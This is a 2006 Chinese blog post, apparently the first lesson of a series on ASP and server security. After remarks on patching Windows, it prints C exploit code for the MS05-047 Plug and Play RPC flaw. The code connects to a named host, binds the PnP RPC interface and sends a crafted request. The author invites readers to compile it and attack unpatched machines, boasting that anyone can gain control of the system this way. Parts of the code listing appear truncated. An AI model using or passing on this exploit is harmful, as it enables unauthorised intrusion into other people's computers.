天天看點

asp與網站安全的初步構想(1)——作業系統安全

今天是2006年3月8日,現祝福所有的女性朋友節日快樂。

早上起床,收到朋友的短信,幫助她确定一下畢業設計的題目。

她是搞計算機的,但是現在的中國教育就是如此,教你很高深的理論知識,但是實際的動手的東西就比較少了,雖然她的成績很好,但是真正設計到畢業設計的實際動手的時候,他自己也開始擔心了。而且以前他就給我說過這件事情。君子一言,驷馬難追啊!更何況是朋友呢!

現看看了看,他傳送過來的課題,看來看去還是覺得軟體開發之類的實際動手能力比較适合我自己,而且選擇這些東西對她自己也是一次鍛煉、挑戰。要不然以後想學習還學不到了。

挑過來,選過去。還是選擇了安全相關的問題。不為别的,我開始就是一直注重安全的問題的,自己對這個東西很早就想寫東西了,隻是自己太懶了,而且也一直沒有時間寫,這次剛好好好的總結學習一下。

今天開始第一課——IIS安全

asp安全,怎麼說了?

安全這個東西不是一兩句話就能說明白的,而且設計的面也不是一兩個人能完成的。因為安全問題是一個整體的問題。

我考慮安全問題的第一個反應就是伺服器安全。光這個方面就好多東西可以寫。任何一個安裝到系統上的軟體都可能影響到伺服器的安全,包括系統。

比如:大家所熟悉的windows 2K系統,相信不用說,大家應該知道MS每個月的安全警報吧,好像從2K出世以來就沒有被拉下過。解決這個問題的唯一辦法就是經常打上系統地sp,勤動手,總是有好處的。

在這裡可能又有人說了,我不用win 2K ,我用XP,而且還是sp2的。嘿嘿,不用擔心,這個東西出來的時候就開始說非常的堅固了,但是天下沒有完美的東西。過不了幾天也出現了Exception。嘿嘿,這個就是我今天想說的。

今天再翻動我以前的exploit的時候發現了這個好東西,友善大家測試一下。

Windows Plus and Play Remote Code Exception (MS05-047)

危險程度:非常嚴重

影響範圍:

解決辦法:官方已經釋出更新檔

相關介紹:即插即用中的漏洞可能允許遠端執行代碼和特權提升 

------------------------------------------------------------------------------

#include <stdio.h>

#include <windows.h>

#pragma comment(lib, "mpr")

#pragma comment(lib, "Rpcrt4")

unsigned char szBindString[] =

{

0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00,

0xb8,0x10,0xb8,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00,

0x40,0x4e,0x9f,0x8d,0x3d,0xa0,0xce,0x11,0x8f,0x69,0x08,0x00,0x3e,0x30,0x05,0x1b,

0x01,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,

0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00

};

unsigned char szRequestString[] =

0x05,0x00,

0x00,0x03,0x10,0x00,0x00,0x00,0x30,0x08,0x00,0x00,0x01,0x00,0x00,0x00,0x18,0x08,

0x00,0x00,0x00,0x00,0x0a,0x00,0x44,0xf7,0x12,0x00,0x00,0x04,0x00,0x00,0x00,0x00,

0x00,0x00,0x00,0x04,0x00,0x00,0x48,0x00,0x54,0x00,0x52,0x00,0x45,0x00,0x45,0x00,

0x5c,0x00,0x52,0x00,0x4f,0x00,0x4f,0x00,0x54,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,

0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,

0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,

0x00,0x00,0x00,0x08,0x00,0x00,0x01,0x00,0x00,0x00

int main(int argc, char* argv[])

char szServerName[MAX_PATH];

char szPipe[MAX_PATH];

HANDLE hFile;

NETRESOURCE nr;

if (argc < 2){

printf("[-] Usage: %s <host>/n", argv[0]);

return -1;

}

if ( strlen(argv[1]) > (MAX_PATH - 50) ) {

printf("[-] Host name %s is too long !/n");

printf("[+] Start connect host %s ... /n", argv[1]);

nr.dwType = RESOURCETYPE_ANY;

nr.lpLocalName = NULL;

nr.lpRemoteName = szServerName;

nr.lpProvider = NULL;

if ( WNetAddConnection2(&nr, "", "", 0) != NO_ERROR ) {

printf("[-] Connect to host %s failed !/n", argv[1]);

hFile = CreateFile(szPipe, GENERIC_READ|GENERIC_WRITE, 0, NULL,

OPEN_EXISTING, 0, NULL);

if ( hFile == INVALID_HANDLE_VALUE ) {

printf("[-] Open name pipe %s failed !/n", szPipe);

unsigned char szOutBuffer[0X1000];

unsigned long nBytesRead;

printf("[+] Start bind RPC interface ... /n");

// bind rpc interface {8D9F4E40-A03D-11CE-8F69-08003E30051B}

if ( ! TransactNamedPipe(hFile, szBindString, sizeof(szBindString),

szOutBuffer, sizeof(szOutBuffer), &nBytesRead, NULL) ) {

printf("[-] TransactNamedPipe (Binding) failed !/n");

CloseHandle(hFile);

// send rpc request to call PNP_GetDeviceList (opnum 10)

printf("[+] Start send RPC request ... /n");

if ( ! TransactNamedPipe(hFile, szRequestString, sizeof(szRequestString),

printf("[+] Attack host %s complete !/n", argv[1]);

return 0;

上面的代碼你再vc++下編譯一下,如果你沒有打系統的更新檔的話,恭喜你,你可以看到好結果了。

通過類似于上面的Exception的代碼就可以得到伺服器的權限,想修改你的問題簡直是易如反掌啊。

這個就是今天示範的程式代碼(行内稱之為:Exploit),通過這些代碼,任何一個會使用計算機的人都可以得到系統的控制權。哈哈,這樣,你的秘密就成了天下皆知的秘密了。

ok,今天的課程現到這裡,寝室熄燈了,室友都睡着了,我也的休息了,明天繼續。

繼續閱讀